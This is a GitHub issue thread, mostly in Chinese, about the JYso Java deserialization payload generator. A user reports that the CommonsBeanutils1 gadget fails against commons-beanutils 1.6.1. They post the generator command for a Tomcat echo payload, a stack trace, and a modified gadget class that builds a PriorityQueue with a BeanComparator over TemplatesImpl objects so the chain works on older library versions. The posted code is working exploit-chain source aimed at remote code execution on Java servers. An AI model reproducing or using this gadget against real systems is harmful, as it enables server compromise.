qi4L / JYso

JNDIExploit or a ysoserial.
GNU General Public License v3.0
1.56k stars 188 forks source link

大佬我在咨询一下 使用 CommonsBeanutils-1.6.1 编译出来执行直接报错 java -jar JYso-1.2.8-all.jar -y -g CommonsBeanutils1 -p "EX-TomcatEcho" #37

Closed peiqiF4ck closed 6 months ago

peiqiF4ck commented 6 months ago
          大佬我在咨询一下 使用 CommonsBeanutils-1.6.1 编译出来执行直接报错  java -jar JYso-1.2.8-all.jar -y -g  CommonsBeanutils1  -p "EX-TomcatEcho"

██╗ ██╗███████╗ ██████╗ ╚██╗ ██╔╝██╔════╝██╔═══██╗ ╚████╔╝ ███████╗██║ ██║ ╚██╔╝ ╚════██║██║ ██║ ██║ ███████║╚██████╔╝ ╚═╝ ╚══════╝ ╚═════╝

Error while generating or serializing payload java.lang.ClassCastException: java.lang.IllegalArgumentException: No name specified at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:145) at java.util.PriorityQueue.siftUpUsingComparator(Unknown Source) at java.util.PriorityQueue.siftUp(Unknown Source) at java.util.PriorityQueue.offer(Unknown Source) at java.util.PriorityQueue.add(Unknown Source) at com.qi4l.jndi.gadgets.CommonsBeanutils1.getObject(CommonsBeanutils1.java:22) at com.qi4l.jndi.controllers.ysoserial.ysoserial(ysoserial.java:134) at com.qi4l.jndi.Starter.main(Starter.java:29)

大佬 使用 CommonsBeanutils-1.8.3 可以编译也可以执行 java -jar JYso-1.2.8-all.jar -y -g CommonsBeanutils1 -p "EX-TomcatEcho" ██╗ ██╗███████╗ ██████╗ ╚██╗ ██╔╝██╔════╝██╔═══██╗ ╚████╔╝ ███████╗██║ ██║ ╚██╔╝ ╚════██║██║ ██║ ██║ ███████║╚██████╔╝ ╚═╝ ╚══════╝ ╚═════╝

 sr java.util.PriorityQueue斱0贷?偙 I sizeL comparatort Ljava/util/Comparator;xp sr +org.apache.commons.beanutils.BeanComparator

但是同样使用 https://github.com/957204459/ysoserial-1

使用 CommonsBeanutils-1.6.1 没有报错并且可以执行成功 java -jar ysuserial-1.5-su18-all.jar -g CommonsBeanutils1 -p "EX-TomcatEcho"

这是什么情况大佬。另外如何生成payload的时候不输出yso这个logo我本地但是可以直接注销。现在的问题是用同样的jar包编译出来的东西一个可以执行一个执行不了。我不知道是不是gradle的问题。我直接把 CommonsBeanutils-1.6.1 放到lib文件夹里面了。大佬如何在gradle里面强制让他使用CommonsBeanutil 1.6.1 并且自动加载所需要的依赖。接触gradle不多。maven直接配置就行了。gradle我配置了 commons-beanutils-commons-beanutils = "1.6.1" 他默认还是 1.8.3的jar包。。。。。我得把 1.6.1的jar放到lib目录他才用我的。并且配置这以后gradle不会下载1.6.1的包只会下载1.8.3的包。。。。。我手工将1.6.1的包放到gradle里面编译是没问题就是执行报错了。。 另外编译用三个包就行了 : jai_core-1.1.3.jar weblogic-server.jar wlthint3client.jar

qi4L commented 6 months ago

配置问题自行百度; 因为CB1的依赖版本不对,依赖版本我写了的,具体原因百度CB1链子原理;

peiqiF4ck commented 6 months ago

配置问题自行百度; 因为CB1的依赖版本不对,依赖版本我写了的,具体原因百度CB1链子原理;

那问题是这个项目https://github.com/957204459/ysoserial-1 直接修改maven jar包就行了 所以归根到底还是配置的问题。gradle这个配置修改了一个jar只会修改本地不会更改依赖jar。我看你这个代码和su18那个没有太大区别。 明显su18的兼容性好啊。大佬你的代码修改了一波兼容性有为。。你这个代码只适用于 高版本的cb链低版本的用不了。。。。我修改了 版本 变成 1.6.1 su18的那个完全没问题啊 他的依赖 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 大佬你的依赖 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({Authors.FROHOFF}) 这有啥区别么 image 另外您提到的依赖和这个项目是一样的。这个改成maven了只不过 image

peiqiF4ck commented 6 months ago

我测试了一下就是代码的问题修改一下代码就可以用了你这个代码不兼容低版本 我修改的这个项目的代码 https://github.com/957204459/ysoserial-1 直接成功执行。希望大佬可以考虑兼容低版本的 commons-beanutils 比如这个 。融合所有工具的特点再次感谢大佬回复

commons-beanutils commons-beanutils 1.6.1

package com.qi4l.jndi.gadgets;

import com.qi4l.jndi.enumtypes.PayloadType; import com.qi4l.jndi.gadgets.annotation.Authors; import com.qi4l.jndi.gadgets.annotation.Dependencies; import com.qi4l.jndi.gadgets.utils.Gadgets; import com.qi4l.jndi.gadgets.utils.GadgetsYso; import com.qi4l.jndi.gadgets.utils.Reflections; import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue; import java.math.BigInteger;

import static com.qi4l.jndi.Starter.JYsoMode;

@SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({Authors.FROHOFF}) public class commonsbeanutils1 implements ObjectPayload {

public Object getObject(PayloadType type, String... param) throws Exception {
   // final Object template;
    /* if (JYsoMode.contains("yso")) {
        template = GadgetsYso.createTemplatesImpl(param[0]);
    } else {
        template = Gadgets.createTemplatesImpl(type, param);
    } */

    final Object template = GadgetsYso.createTemplatesImpl(param[0]);
   // final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

final BeanComparator comparator = new BeanComparator("lowestSetBit"); final PriorityQueue queue = new PriorityQueue(2, comparator); / queue.add("1"); queue.add("1"); / queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));

    Reflections.setFieldValue(comparator, "property", "outputProperties");
    Reflections.setFieldValue(queue, "queue", new Object[]{template, template});

    return queue;
}

}